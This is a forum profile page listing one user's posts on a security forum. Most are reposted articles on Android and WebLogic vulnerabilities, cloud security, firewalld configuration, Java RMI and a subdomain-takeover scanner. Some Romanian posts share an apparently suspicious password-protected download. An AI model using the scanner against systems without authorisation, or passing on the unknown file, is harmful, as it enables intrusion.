-
Posts
1026 -
Joined
-
Days Won
55
Everything posted by Kev
-
The vulnerability is one of 39 affecting various aspects of the mobile OS that the company fixed in a security update this week. Google has patched a vulnerability in its Android OS that could allow attackers to completely take over someone’s device to install programs, steal or change data, or create new accounts with full privileges. The flaw (CVE-2020-0103) was one of 39 vulnerabilities affecting Android OS builds that use older security profiles and are spread throughout various components of Android that the company fixed in its latest security patch, according to a security bulletin published Monday. The vulnerabilities pose a high risk for consumers as well as business and government institution users, the company said. However, the most critical of these—found in the System component of Android–could allow for remote code execution (RCE), depending on the existing privileges on the device, according to Google. However, the potential for exploitation depends on the privilege status of an application, according to the Center for Internet Security’s (CIS’s) advisory on the flaw. These vulnerabilities could be exploited through multiple methods such as email, web browsing and multimedia services (MMS) when processing media files, CIS explained in its post. However, so far none of the vulnerabilities patched in the update have been exploited in the wild, according to CIS. The critical flaw was one of eight that Google patched for the System component of Android. The rest of the flaws were rated high-severity, except for one, which was rated moderate. Google also patched a critical flaw in Android’s Framework component, CVE-2020-0096, that could enable a local attacker to execute arbitrary code within the context of a privileged process, the company said. The vulnerability was one of three patched in this component, the other two of which had a severity rating of high. The only other critical vulnerability patched was a critical security vulnerability, CVE-2020-3641, found in the Qualcomm closed-source components. The flaw was one of 10 patched in these components, the rest of which were rated as high severity. The security update also fixes four high-severity vulnerabilities in Android’s Media framework; eight high-severity vulnerabilities in Qualcomm components; four high-severity flaws in MediaTek components; and two high-severity vulnerabilities in Android Kernel components. While the Android security platform and service protections such as Google Play Protect “reduce the likelihood that security vulnerabilities could be successfully exploited on Android,” Google recommended that Android users install the latest security patch just to be on the safe side. Indeed, Google has historically struggled with the spread of malware via Android apps being downloaded from the Google Play store and has made a concerted effort in the last year and a half to try to stay on top of it. Still, malware on the platform persists. Just last week researchers discovered a new Android mobile malware called EventBot that steals payment data from users of popular financial apps like PayPal, Barclays, CapitalOne and more. Inbox security is your best defense against today’s fastest growing security threat – phishing and Business Email Compromise attacks. On May 13 at 2 p.m. ET, join Valimail security experts and Threatpost for a FREE webinar, 5 Proven Strategies to Prevent Email Compromise. Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please register here for this sponsored webinar. Also, don’t miss our latest on-demand webinar from DivvyCloud and Threatpost, A Practical Guide to Securing the Cloud in the Face of Crisis, with critical, advanced takeaways on how to avoid cloud disruption and chaos. Via threatpost.com
-
- 1
-
Pentru ce versiune? Home, Professional 32-bit / 64-bit?
-
While most enterprises are moving workloads to the cloud, it remains less than 10% of overall IT spending. With the cloud, enterprises can deploy applications at scale and transform their business. Many cloud providers also provide robust security solutions that parallel this scale. However, many are limited by the lack of security knowledge or expertise on the cloud. In this article, you will learn of some of the exponential technologies that enterprises can leverage to gain security parity on the cloud. According to Cybersecurity Ventures, 3.5 million cybersecurity jobs will be open but unfilled by 2021. Enterprises will not be able to fill all of these jobs, so they must consider alternative ways to meet the demand. The problem cannot be solved by simply training and hiring people to do more of the same work. Instead, enterprises must rethink how they are allocating resources for a new age of cybersecurity on the cloud. They need to leverage security as code, machine learning, automated reasoning and other exponential technologies to achieve security at scale. What's more, enterprises need to consider how to find the right types of people to perform new ways of securing resources as they deploy more workloads on the cloud. Leverage Exponential Security Technologies There are four exponential technologies that can help meet the cybersecurity scale challenge. They are security as code, automated remediation, machine learning and automated reasoning. Security As Code: With most major cloud providers, you can define infrastructure as code that includes compute, storage, database and networking. These providers also include managed security services, such as identity and access management, encryption key management, firewalls and detection, which can be defined as code as well. By codifying the provisioning of these security services, enterprises should be able to automatically evaluate security controls for any application at any stage and environment. This is a major shift when following the principle of security as code — everything about security is codified, versioned and applied with every change. Looking at the entire automation process with continuous delivery, teams should focus on the following: • Making sure changes to configuration in all environments are source-controlled and peer-reviewed. • Fully automating the entire software delivery process, from commit to production, including provisioning security resources and running security tests. • Carefully reviewing environment configurations with security in mind. • Running static and dynamic analysis tools as part of the software delivery process, and feeding issues found back into the sprint. Automated Remediation: Automated remediation is really a subset of "security as code" in which systems automatically respond to events by running code that fixes detected security vulnerabilities without requiring human intervention. A variation includes automated detection workflows that track the remediation life cycle of codified fixes (i.e., security as code) applied by engineers. This approach drastically reduces the time between an introduction of a security vulnerability and its remediation. Automated Reasoning: Cloud providers are leveraging automated reasoning technology, which is the application of mathematical logic, to mitigate infrastructure risks. For example, using mathematical calculations to determine misconfigurations or potentially exposing vulnerable data against an infrastructure. The benefit is that enterprises can run millions of fully automated checks without launching infrastructure resources. Machine Learning: By using and developing machine learning models using cloud-based services, enterprises can automatically detect and respond to security and compliance vulnerabilities. Machine learning is best used for extending capabilities to custom security scenarios in which automated rules or math do not suffice. Find And Develop Expertise Enterprises cannot simply access the existing pool of cybersecurity talent to meet the demand. The answer is in increasing the use of exponential technologies like the aforementioned security as code, machine learning and automated reasoning. Enterprises need to start looking for new recruitment channels and utilize unconventional strategies and techniques to fill the skills gap. This might include seeking those without a college degree or looking globally in order to widen the market selection. What's more, enterprises need to train and grow security professionals who are builders and can code and leverage exponential technologies to meet the increasing demand. Automation For The People In closing, when enterprises leverage exponential technologies for security, they can begin to meet the ever-increasing demand for security expertise and need for scale across their cloud infrastructure. Rethinking how to discover and grow expertise within an organization is becoming more crucial, while integrating security into every step of the software development life cycle is one of the best ways to reduce costs and risks as the speed of development increases. How has your company embraced exponential technologies for cybersecurity on the cloud? Via forbes.com
-
A firewall is a method for monitoring and filtering incoming and outgoing network traffic. It works by defining a set of security rules that determine whether to allow or block specific traffic. A properly configured firewall is one of the most important aspects of overall system security. CentOS 8 ships with a firewall daemon named firewalld. It is a complete solution with a D-Bus interface that allows you to manage the system’s firewall dynamically. In this tutorial, we will talk about how to configure and manage the firewall on CentOS 8. We’ll also explain the basic FirewallD concepts. Prerequisites To configure the firewall service, you must be logged as root or user with sudo privileges. Basic Firewalld Concepts firewalld uses the concepts of zones and services. Based on the zones and services you’ll configure, you can control what traffic is allowed or blocked to and from the system. Firewalld can be configured and managed using the firewall-cmd command-line utility. In CentOS 8, iptables is replaced by nftables as the default firewall backend for the firewalld daemon. Firewalld Zones Zones are predefined sets of rules that specify the level of trust of the networks your computer is connected to. You can assign network interfaces and sources to a zone. Below are the zones provided by FirewallD ordered according to the trust level of the zone from untrusted to trusted: drop: All incoming connections are dropped without any notification. Only outgoing connections are allowed. block: All incoming connections are rejected with an icmp-host-prohibited message for IPv4 and icmp6-adm-prohibited for IPv6n. Only outgoing connections are allowed. public: For use in untrusted public areas. You do not trust other computers on the network, but you can allow selected incoming connections. external: For use on external networks with NAT masquerading enabled when your system acts as a gateway or router. Only selected incoming connections are allowed. internal: For use on internal networks when your system acts as a gateway or router. Other systems on the network are generally trusted. Only selected incoming connections are allowed. dmz: Used for computers located in your demilitarized zone that have limited access to the rest of your network. Only selected incoming connections are allowed. work: Used for work machines. Other computers on the network are generally trusted. Only selected incoming connections are allowed. home: Used for home machines. Other computers on the network are generally trusted. Only selected incoming connections are allowed. trusted: All network connections are accepted. Trust all of the computers in the network. Firewall services Firewalld services are predefined rules that apply within a zone and define the necessary settings to allow incoming traffic for a specific service. The services allows you to easily perform several tasks in a single step. For example, the service can contain definitions about opening ports, forwarding traffic, and more. Firewalld Runtime and Permanent Settings Firewalld uses two separated configuration sets, runtime, and permanent configuration. The runtime configuration is the actual running configuration and does not persist on reboot. When the firewalld daemon starts, it loads the permanent configuration, which becomes the runtime configuration. By default, when making changes to the Firewalld configuration using the firewall-cmd utility, the changes are applied to the runtime configuration. To make the changes permanent append the --permanent option to the command. To apply the changes in both configuration sets, you can use one of the following two methods: 01. Change the runtime configuration and make it permanent: sudo firewall-cmd <options> sudo firewall-cmd --runtime-to-permanent 02. Change the permanent configuration and reload the firewalld daemon: sudo firewall-cmd --permanent <options> sudo firewall-cmd --reload Enabling FirewallD On CentOS 8, firewalld is installed and enabled by default. If for some reason it is not installed on your system, you can install and start the daemon by typing: sudo dnf install firewalld sudo systemctl enable firewalld --now You can check the status of the firewall service with: sudo firewall-cmd --state If the firewall is enabled, the command should print running. Otherwise, you will see not running. Firewalld Zones If you haven’t changed it, the default zone is set to public, and all network interfaces are assigned to this zone. The default zone is the one that is used for everything that is not explicitly assigned to another zone. You can see the default zone by typing: sudo firewall-cmd --get-default-zone Output public To get a list of all available zones, type: sudo firewall-cmd --get-zones Output block dmz drop external home internal public trusted work To see the active zones and the network interfaces assigned to them: sudo firewall-cmd --get-active-zones The output below shows that the interfaces eth0 and eth1 are assigned to the public zone: Output public interfaces: eth0 eth1 You can print the zone configuration settings with: sudo firewall-cmd --zone=public --list-all Output public (active) target: default icmp-block-inversion: no interfaces: eth0 eth1 sources: services: ssh dhcpv6-client ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: From the output above, we can see that the public zone is active and uses the default target, which is REJECT. The output also shows that the zone is used by the eth0 and eth1 interfaces and allows DHCP client and SSH traffic. If you want to check the configurations of all available zones type: sudo firewall-cmd --list-all-zones The command prints a huge list with the settings of all available zone. Changing the zone target The target defines the default behavior of the zone for the incoming traffic that is not specified. It can be set to one of the following options: default, ACCEPT, REJECT, and DROP. To set the zone’s target, specify the zone with the --zone option and the target with the --set-target option. For example, to change the public zone’s target to DROP you would run: sudo firewall-cmd --zone=public --set-target=DROP Assigning an interface to a different zone You can create specific sets of rules for different zones and assign different interfaces to them. This is especially useful when you multiple interfaces on your machine. To assign an interface to a different zone, specify the zone with the --zone option and the interface with the --change-interface option. For example, the following command assigns the eth1 interface to the work zone: sudo firewall-cmd --zone=work --change-interface=eth1 Verify the changes by typing: sudo firewall-cmd --get-active-zones Output work interfaces: eth1 public interfaces: eth0 Changing the Default Zone To change the default zone, use the --set-default-zone option followed by the name of the zone you want to make default. For example, to change the default zone to home you would run the following command: sudo firewall-cmd --set-default-zone=home Verify the changes with: sudo firewall-cmd --get-default-zone Output home Creating new Zones Firewalld also allows you to create your own zones. This is handy when you want to create per-application rules. In the following example we’ll create a new zone named memcached, open the port 11211 and allow access only from the 192.168.100.30 IP address: 01. Create the zone: sudo firewall-cmd --new-zone=memcached --permanent 02. Add the rules to the zone: sudo firewall-cmd --zone=memcached --add-port=11211/udp --permanent sudo firewall-cmd --zone=memcached --add-port=11211/tcp --permanent sudo firewall-cmd --zone=memcached --add-source=192.168.100.30/32 --permanent 03. Reload the firewalld daemon to activate the changes: sudo firewall-cmd --reload Firewalld Services With firewalld you can allow traffic for specific ports and/or sources based on predefined rules called services. To get a list of all default available services type: sudo firewall-cmd --get-services You can find more information about each service by opening the associated .xml file within the /usr/lib/firewalld/services directory. For example, the HTTP service is defined like this: /usr/lib/firewalld/services/http.xml <?xml version="1.0" encoding="utf-8"?> <service> <short>WWW (HTTP)</short> <description>HTTP is the protocol used to serve Web pages. If you plan to make your Web server publicly available, enable this option. This option is not required for viewing pages locally or developing Web pages.</description> <port protocol="tcp" port="80"/> </service> To allow incoming HTTP traffic (port 80) for interfaces in the public zone, only for the current session (runtime configuration) type: sudo firewall-cmd --zone=public --add-service=http If you are modifying the default zone you can leave out the --zone option. To verify that the service was added successfully use the --list-services option: sudo firewall-cmd --zone=public --list-services Output ssh dhcpv6-client http To keep the port 80 open after a reboot run the same command once again with the --permanent option, or execute: sudo firewall-cmd --runtime-to-permanent Use the --list-services along with the --permanent option to verify your changes: sudo firewall-cmd --permanent --zone=public --list-services Output ssh dhcpv6-client http The syntax for removing service is the same as when adding one. Just use --remove-service instead of the --add-service flag: sudo firewall-cmd --zone=public --remove-service=http --permanent The command above removes the http service from the public zone permanent configuration. Creating a new FirewallD Service As we have already mentioned, the default services are stored in the /usr/lib/firewalld/services directory. The easiest way to create a new service is to copy an existing service file to the /etc/firewalld/services directory, which is the location for user-created services and modify the file settings. For example, to create a service definition for the Plex Media Server, you can use the SSH service file: sudo cp /usr/lib/firewalld/services/ssh.xml /etc/firewalld/services/plexmediaserver.xml Open the newly created plexmediaserver.xml file and change the short name and description for the service within the <short> and <description> tags. The most important tag you need to change is the port tag, which defines the port number and protocol you want to open. In the following example, we are opening ports 1900 UDP and 32400 TCP. /etc/firewalld/services/plexmediaserver.xml <?xml version="1.0" encoding="utf-8"?> <service version="1.0"> <short>plexmediaserver</short> <description>Plex is a streaming media server that brings all your video, music and photo collections together and stream them to your devices at anytime and from anywhere.</description> <port protocol="udp" port="1900"/> <port protocol="tcp" port="32400"/> </service> Save the file and reload the FirewallD service: sudo firewall-cmd --reload You can now use the plexmediaserver service in your zones same as any other service. Opening Ports and Source IPs Firewalld also allows you to quickly enable all traffic from a trusted IP address or on a specific port without creating a service definition. Opening a source IP To allow all incoming traffic from a specific IP address (or range), specify the zone with the --zone option and the source IP with the --add-source option. For example, to allow all incoming traffic from 192.168.1.10 in the public zone, run: sudo firewall-cmd --zone=public --add-source=192.168.1.10 Make the new rule persistent: sudo firewall-cmd --runtime-to-permanent Verify the changes using the following command: sudo firewall-cmd --zone=public --list-sources Output 192.168.1.10 The syntax for removing a source IP is the same as when adding one. Just use --remove-source instead of the --add-source option: sudo firewall-cmd --zone=public --remove-source=192.168.1.10 The protocol can be either tcp, udp, sctp, or dccp. Verify the changes: sudo firewall-cmd --zone=public --list-ports Output 8080 To keep the port open after a reboot, add the rule to the permanent settings by running the same command using the --permanent flag or by executing: sudo firewall-cmd --runtime-to-permanent The syntax for removing a port is the same as when adding a port. Just use --remove-port instead of the --add-port option. sudo firewall-cmd --zone=public --remove-port=8080/tcp Forwarding Ports To forward traffic from one port to another port, first enable masquerading for the desired zone using the --add-masquerade option. For example, to enable masquerading for the external zone, type: sudo firewall-cmd --zone=external --add-masquerade Forward traffic from one port to another on the IP address In the following example we are forwarding the traffic from port 80 to port 8080 on the same server: sudo firewall-cmd --zone=external --add-forward-port=port=80:proto=tcp:toport=8080 Forward traffic to another IP address In the following example we are forwarding the traffic from port 80 to port 80 on a server with IP 10.10.10.2: sudo firewall-cmd --zone=external --add-forward-port=port=80:proto=tcp:toaddr=10.10.10.2 To make the forward rule persistent, use: sudo firewall-cmd --runtime-to-permanent Conclusion You have learned how to configure and manage the firewalld service on your CentOS 8 system. Make sure to allow all incoming connections that are necessary for the proper functioning of your system, while limiting all unnecessary connections. If you have questions, feel free to leave a comment below. Source
-
- 1
-
Nu am VPS, RDP sloboz, https://www.virustotal.com/gui/url/4cd4a95c32401ece4e185eec6dd1a03862af27aa94fbc7d4924824d554ec2c81/detection mi-e lene la h asta sa instelz un box https://www119.zippyshare.com/v/kmc52ZQ6/file.html pwd: MalSecAnonimExploit Mother fucker... astept reply de pe userul Kev
-
trimite-mi link in PM cu file-sharing, cu .docx; .doc sau ce descrii mai sus /il execut, iar daca postezi un Kev, ce vrei tu, ti-l cumpar
-
Da. Eu
-
Delightful interactive npm scripts runner. Demo Installation Try it out with npx: npx runrun-cli Install globally (enables to execute rr and rrr anywhere): npm install -g runrun-cli Usage Interactively choose which script to run from package.json: rr Re-run last chosen script (same as rr -r): rrr For CLI options, use the -h (or --help) argument: rr -h Source
-
Second Order Scans web applications for second-order subdomain takeover by crawling the app, and collecting URLs (and other data) that match some specific rules, or respond in a specific way. Installation Go version >= 1.8 is required. go get github.com/mhmdiaa/second-order This will download the code, compile it, and leave a second-order binary in $GOPATH/bin. Command line options -base string Base link to start scraping from (default "http://127.0.0.1") -config string Configuration file (default "config.json") -debug Print visited links in real-time to stdout -output string Directory to save results in (default "output") Example go run second-order.go -base https://example.com -config config.json -output example.com -concurrency 10 Configuration File Example configuration file included (config.json) Headers: A map of headers that will be sent with every request. Depth: Crawling depth. LogCrawledURLs: If this is set to true, Second Order will log the URL of every crawled page. LogQueries: A map of tag-attribute queries that will be searched for in crawled pages. For example, "a": "href" means log every href attribute of every a tag. LogURLRegex: A list of regular expressions that will be matched against the URLs that are extracted using the queries in LogQueries; if left empty, all URLs will be logged. LogNon200Queries: A map of tag-attribute queries that will be searched for in crawled pages, and logged only if they don't return a 200 status code. ExcludedURLRegex: A list of regular expressions whose matching URLs will not be accessed by the tool. ExcludedStatusCodes: A list of status codes; if any page responds with one of these, it will be excluded from the results of LogNon200Queries; if left empty, all non-200 pages' URLs will be logged. LogInlineJS: If this is set to true, Second Order will log the contents of every script tag that doesn't have a src attribute. Output Directory Structure All results are saved in JSON files that specify what and where data was found OUTPUT logged-queries.json -> The results of `LogQueries` logged-non-200-queries.json -> The results of `LogNon200Queries` inline-scripts.json -> The results of `LogInlineJS` Usage Ideas This is a list of tips and ideas (not necessarily related to second-order subdomain takeover) on what to use Second Order for. Check for second-order subdomain takeover. (Duh!) Collect JS code by setting LogInlineJS to true, and adding "script": "src" to LogQueries. Find a target's online assets by using LogURLRegex. (S3 buckets, anyone?) Collect SWF files by adding "object": "src" to LogQueries. Collect <input> names by adding "input": "name" to LogQueries. References https://shubs.io/high-frequency-security-bug-hunting-120-days-120-bugs/#secondorder https://edoverflow.com/2017/broken-link-hijacking/ Source
-
Introduction to Java Remote Method Invocation (RMI) Written by Chris Matthews Introduction [NOTE: Here is a link to a zip of the source code for this article. Ed] This is a two-part series on the topic of Java's Remote Method Invocation (RMI). In this article I am going to discuss the basics of Java RMI (e.g., layers, rmic, registry, etc.) and how to apply and use it to develop distributed computing applications through examples. The second article discusses more advanced topics on Java RMI (e.g., CORBA IIOP and IDL, datagram packaging of Remote objects, distributed garbage collector, etc.). Let's get started with the first article. In the past, developing cross-platform, distributed computing applications has been difficult to say the least. With considerations like hardware, operating system, language, serialization, etc., development and support have to be adjusted (if not reinvented) each time a developer deploys their applications for a new target system. And if a developer wants to provide robust support (e.g., marshaling/unmarshaling objects), the developer is required to create the support themselves to fit the idiosyncrasies of each system. Now with the ever-increasing acceptance of the Java operating environment and language (e.g., the write once, run anywhere mantra), an application developer has the ability to write true, robust cross-platform distributive computing applications. He can do this without worrying about special system-specific support concerns. Java RMI is shipped with the Java JDK 1.1 and higher. It is a true distributed computing application interface for Java. Unlike other distributed programming interfaces (e.g., RPC, IDL, etc.), Java RMI is language specific. This is a good thing because by being language specific, RMI has the ability to provide more advanced feature like serialization, security, etc. Contrast this with other distributive computing interfaces that are language independent and must write to the least common denominator to support many platforms/languages. This topic will be explored further in the second article. Java RMI is comprised of three layers that support the interface. See illustration below. The first layer is the Stub/Skeleton Layer. This layer is responsible for managing the remote object interface between the client and server. The second layer is the Remote Reference Layer (RRL). This layer is responsible for managing the "liveliness" of the remote objects. It also manages the communication between the client/server and virtual machine s, (e.g., threading, garbage collection, etc.) for remote objects. The third layer is the transport layer. This is the actual network/communication layer that is used to send the information between the client and server over the wire. It is currently TCP/IP based. If you are familiar with RPC, it is a UDP-based protocol which is fast but is stateless and can lose packets. TCP is a higher-level protocol that manages state and error correction automatically, but it is correspondingly slower than UDP. The example used in this article is an amortization schedule application. The client requests a local schedule object from the server through a remote object and passes an amount and duration of a loan to the server. The server instantiates a local schedule object with the amount and duration along with the interest rate the server knows about. Then the schedule object is serialized and returned back to the client. The client can then print the object or modify it at this point. The client has its own private copy of the schedule object. Below is an illustration that serves as a reference for the parts of the RMI application. Creating the Interface Definitions File The first thing that you must do to develop an RMI application is to define the remote interface. The interface defines what remote methods/variables are going to be exported from the remote object. Usually the interface defines methods only because variables have to be declared final (i.e., constant) if they are in an interface definition. The remote interface needs to import the RMI package, and every exported method must throw an RMI remote exception to manage errors during invocation. Below is the code for the mathCalc.java interface definition file in our example. /**************************************************** * module: mathCalc.java ****************************************************/ import java.lang.*; import java.rmi.*; public interface mathCalc extends java.rmi.Remote { public schedule amortizeSchedule( float ammount, int duration ) throws java.rmi.RemoteException; public void printRate() throws java.rmi.RemoteException; } If you are familiar with using Java and interfaces, converting your local objects to remote objects can be done very quickly with minor modifications to your source. You need to include the Java RMI package and manage RMI remote exceptions on all your exported local methods. Creating the Interface Implementation File Once the interface definition file is created, you need to define the actual code that supports the interface on the server. Below is an example of the mathCalcImp.java interface implementation file used to provide that support. /**************************************************** * module: mathCalcImp.java ****************************************************/ import java.rmi.*; import java.rmi.server.*; class mathCalcImp extends UnicastRemoteObject implements mathCalc { float interestRate = (float)7.5; mathCalcImp() throws java.rmi.RemoteException { } public schedule amortizeSchedule( float ammount, int duration ) throws java.rmi.RemoteException { System.out.println("Amortizeing Schedule."); return( new schedule( interestRate, ammount, duration ) ); } public void printRate() throws java.rmi.RemoteException { System.out.println("Current Interest Rate is " + interestRate ); } } Notice the implementation file imports the package java.rmi.*. It also imports the java.rmi.server.* package. This is so you can extend the UnicastRemoteObject class to support remote clients. This class manages client/server and peer/peer connection support for RMI. Today there is no MulticastRemoteObject class, but it should appear in some JDK 1.2 release. There is, however, enough support in JDK 1.1 to allow you to write your own MulticastRemoteObject class to support multicast remote clients. Notice how the file defined above implements mathCalc, the remote interface definition that was defined earlier. Each method in the implementation file that is going to be externalized needs to throw a remote exception. Object Serialization The amortizeSchedule() method prints a message on the server and instantiates a new local schedule object that is returned to the client. The schedule object is a local object that will be serialized and marshaled into a data stream to be sent back to the client. Now is a good time to discuss the serialization of remote objects. To begin that discussion, the schedule.java.local class is presented below. /**************************************************** * module: schedule.java ****************************************************/ import java.lang.*; import java.util.*; import java.io.*; class schedule implements Serializable { float totalLoanAmt; float usrAmmount; float interestRate; int loanDuration; schedule( float rate, float ammount, int duration ) { interestRate = rate; usrAmmount = ammount; loanDuration = duration; totalLoanAmt = ammount + (ammount / rate); } void print() { System.out.println("Schedule Created."); System.out.println("Calculation information based on:"); System.out.println(" Rate [%" + interestRate + "]" ); System.out.println(" Ammount [$" + usrAmmount + "]" ); System.out.println(" Duration [ " + loanDuration + "]" ); System.out.println(" Total Loan [$" + totalLoanAmt + "]" ); int couponNum = 0; float balanceRemaining = totalLoanAmt; float monthlyPayment = 0; System.out.println(); System.out.println( "Payment Monthly Payment Ammount Balance Remaining"); System.out.println( "------- ----------------------- -----------------"); while( balanceRemaining > 0 ) { couponNum++; monthlyPayment = totalLoanAmt/loanDuration; if( balanceRemaining < monthlyPayment ) { monthlyPayment = balanceRemaining; balanceRemaining = 0; } else { balanceRemaining = balanceRemaining - monthlyPayment; } System.out.println( couponNum + " " + monthlyPayment + " " + balanceRemaining ); } } } If you are passing local objects around through remote interfaces, you have to make the defining local class serializable. Notice that the schedule class implements the serializable interface, but it does not have to provide any code. This is because Java manages the serialization of serializable interfaces for you. If we were to implement externalizable instead of serializable, then the schedule.java class would have to provide the serialize/deserialize methods. This would require the schedule class to serialize and deserialize its own data. If you try to pass a local object that has not implemented the serializeable/externalizeable interface, Java will throw a marshaling exception on the server/client. Note: Be careful when marking a class serializable, because Java will try to "flatten" everything related to that cl., inheritance classes, instances within the class, etc.). As an example, I would not recommend trying to serialize anything like the root drive on your disk. There is also a lot of overhead involved in the serialization/deserialization process. Use serialization with care. The topic of serialization will be revisited in the second article when I discuss encryption of remote objects for security. Creating the Stubs/Skeletons Now that the interface and implementation files have been created, you need to generate the stubs and skeleton code. This is done by using the rmic compiler provided by the JDK. The following command will generate the stub and skeleton .class files, but it will not create the .java files. If you want to see the Java-generated code, use the -keepgenerated option. This will leave the .java files files around, but don't try to modify these files. The rmic compiler also has a -show option that runs it as an AWT application. Command Line > rmic mathCalcImp After running the rmic compiler, you should see mathCalcImp_Skel.class and mathCalcImp_Stub.class. These classes are where your references to the remote objects will resolve to in the client's address space. The RRL will manage the mapping of these objects to the server's address space. Creating the Client Now we need to create the client-side application that will use the remote objects. Below is the sample code for calcClient.java. /**************************************************** * module: calcClient.java ****************************************************/ import java.util.*; import java.net.*; import java.rmi.*; import java.rmi.RMISecurityManager; public class calcClient { public static void main( String args[] ) { mathCalc cm = null; int i = 0; System.setSecurityManager( new RMISecurityManager()); try { System.out.println("Starting calcClient"); String url = new String( "//"+ args[0] + "/calcMath"); System.out.println("Calc Server Lookup: url =" + url); cm = (mathCalc)Naming.lookup( url ); if( cm != null ) { String testStr = "Requesting Current Interest Rate..."; // Print Current Interest Rate from the server cm.printRate(); // Amortize a schedule using the server interest // rate. float amount = (float)10000.50; int duration = 36; schedule curschd = cm.amortizeSchedule( amount, duration ); // Print the schedule curschd.print(); } else { System.out.println("Requested Remote object is null."); } } catch( Exception e ) { System.out.println("An error occured"); e.printStackTrace(); System.out.println(e.getMessage()); } } } The client code imports the java.rmi package along with the java.rmi.RMISecurityManager. The first thing the client needs to do is register a security manager with the system. The RMI package provides an RMI security manager, but if you like writing security managers, you can register your own. If a security manager is not registered with the system, Java will only allow resolution of classes locally. This, of course, defeats the purpose of distributed computing. If you are writing an applet instead of an application, the security manager has already been registered for you by the browser. You cannot register another security manager for the applet. In the second article I will go into more details about closed and open systems for Java and RMI. Once you have registered the security manager, you need to create a URL string that is comprised of the server name and remote object name you are requesting. This will enable the client to look up the remote object on the server via the rmiregistry. Your client code will call the Naming.lookup method that makes a request to the server to return a remote object reference. Notice the object returned from the Naming.lookup method is cast to the actual interface class. This is because the lookup call returns a reference of type Object, an abstract type that needs to be casted to a concrete class (e.g., the interface definition file, mathCalc). The URL name lookup format for an RMI object via the registry looks like this: rmi://www.myserver.com/myObject or //www.myserver.com/myObject If the client is successful in retrieving the remote reference, it can invoke remote methods on the remote object at this point. The example makes a call to print the interest rate on the server, and it makes a request to amortize a schedule. If the amortize schedule is successful, the client gets a local copy of the schedule object. Then the client can call routines in the schedule object, modify the object, etc. This is the client's private copy of the object, and the server has no knowledge of any changes to this object made by the client. Local objects are by copy, and remote objects are by reference. Creating the Server The server has very simple code that is similar to the client. Below is the calcServ.java code for the server: /**************************************************** * module: calcServ.java ****************************************************/ import java.util.*; import java.rmi.*; import java.rmi.RMISecurityManager; public class calcServ { public static void main( String args[] ) { System.setSecurityManager( new RMISecurityManager()); try { System.out.println("Starting calcServer"); mathCalcImp cm = new mathCalcImp(); System.out.println("Binding Server"); Naming.rebind("calcMath", cm ); System.out.println("Server is waiting"); } catch( Exception e ) { System.out.println("An error occured"); e.printStackTrace(); System.out.println(e.getMessage()); } } } The server has the same requirements as the client has regarding the security manager. Once the server has registered properly with the security manager, the server needs to create an instantiation of the mathCalcImp implementation objec This is the actual remote object the server exports. Since the server uses the rmiregistry, you must bind (i.e., alias) an instance of the object with the name that will be used to look up the object. In the second article I will talk about an alternative way to look up/pass objects around without using the registry. Note: The server sample uses rebind instead of bind. This is to avoid the following problem with bind; i.e., if you start your server and bind an object to the registry then later start a newer version of the server, the bind will not take place because a previous version already exists. When your client references the server, it will get the original reference to the object and not the latest. Also, when the client tries to reference the remote object, the server will throw an exception because the object is no longer valid. If you instead use rebind, then each time you start a new server, it will bind the latest object for the name lookup and replace the old object. You can export as many objects as you like. For the sake of simplicity, the example only exports one object. Additionally, you can have a factory class that returns object references or you can use the registry to look up multiple names of objects. You normally only need one registry running, but Java does not preclude running multiple registries on different ports. The client needs to use the correct lookup method to gain access to the correct registry on a port number. If you are looking at this server application and wondering how it continues to run after it has seemingly completed its mission, the answer is that the main thread goes away at this point. However, when the server calls the registry to bind the object, it creates another thread under the covers that blocks waiting in a loop for a registry derigstration event. This keeps the server from terminating. If you don't use the registry, the server example needs to be modified to stay alive to support the references to remote objects. Building the Sample You need to compile the client and the server code by doing the following: javac calcClient.java javac calcServ.java Starting the Sample Now you are ready to run the sample RMI application. The first thing to do is to start the rmiregistry on the server. Ensure that your CLASSPATH is set up so that the registry can find your server classes in its path. Start the rmiregistry as follows: start rmiregistry (optional port : default port 1099 ) [The optional port number can be left out, in which case it defaults to 1099. If this is not the desired port, specify one as in "start rmiregistry 1095". Ed.] Next, start the server as follows: start java calcServ The server will start and print a message that it is waiting for requests. Now you are ready to start the client application as follows: start java calcClient www.myserver.com At this point you should see a request come into the server to print the interest rate and request a remote object reference. The client will then display the contents of the schedule object returned from the server. Conclusion Hopefully this article has helped illuminate the basic concepts and design of Java's RMI. This is just an introduction to RMI, but I will be talking about more advanced topics for writing a real-world Java RMI application in the next article. The code for this article is downloadable from the top of this article. If you have any questions, you can send me e-mail. Also, as a side note, the ICAT debugger for OS/2 Java (ICATJVO) can debug Java RMI client and server code through the JNI interface on OS/2. So far, this is the only debugger I have found that can do this. Source
-
- 2
-
- calcclient.java
- mathcalcimp_stub.class
- (and 1 more)
-
Oracle patched the bug last month but attacks began after proof-of-concept code was published on GitHub. Enterprise software giant Oracle published an urgent security alert last night, urging companies that run WebLogic servers to install the latest patches the company released in mid-April. Oracle says it received reports of attempts to exploit CVE-2020-2883, a vulnerability in its WebLogic enterprise product. WebLogic is a Java-based middleware server that sits between a front-facing application and a database system, rerouting user requests and returning needed data. It is a wildly popular middleware solution, with tens of thousands of servers currently running online. The CVE-2020-2883 vulnerability is a dangerous bug, which received a 9.8 score out of 10, on the CVSSv3 vulnerability severity scale. The bug, which was privately reported to Oracle, allows a threat actor to send a malicious payload to a WebLogic server, via its proprietary T3 protocol. The attack takes place when the server receives the data and unpacks (deserializes) it in an unsafe manner that also runs malicious code on the underlying WebLogic core, allowing the hacker to take control over unpatched systems. Oracle says that no user authentication or interaction is needed to exploit this bug. This makes CVE-2020-2883 an ideal candidate for integration in automated web-based attack tools and botnet operations. Oracle patched the bug during its quarterly security updates, released on April 14. Current exploitation attempts appear to have started after proof-of-concept code to exploit the CVE-2020-2883 bug was published on GitHub a day later. Oracle said that exploitation attempts against other vulnerabilities patched last month were also reported but the company highlighted the WebLogic vulnerability in particular. This is because in recent years, hackers have constantly shown interest in weaponizing and exploiting WebLogic bugs [1, 2, 3, 4, 5, 6, 7, 8, 9] . Hacking groups have been using these vulnerabilities to hijack WebLogic servers to run cryptocurrency miners or breach corporate networks and install ransomware. CVE-2020-2883 will almost certainly join CVE-2019-2729, CVE-2019-2725, CVE-2018-2893, CVE-2018-2628, and CVE-2017-10271 as one of the most exploited WebLogic vulnerabilities in the wild. Via zdnet.com
- 1 reply
-
- 1
-
- cve-2020-2883
- cve-2019-2729
- (and 6 more)
-
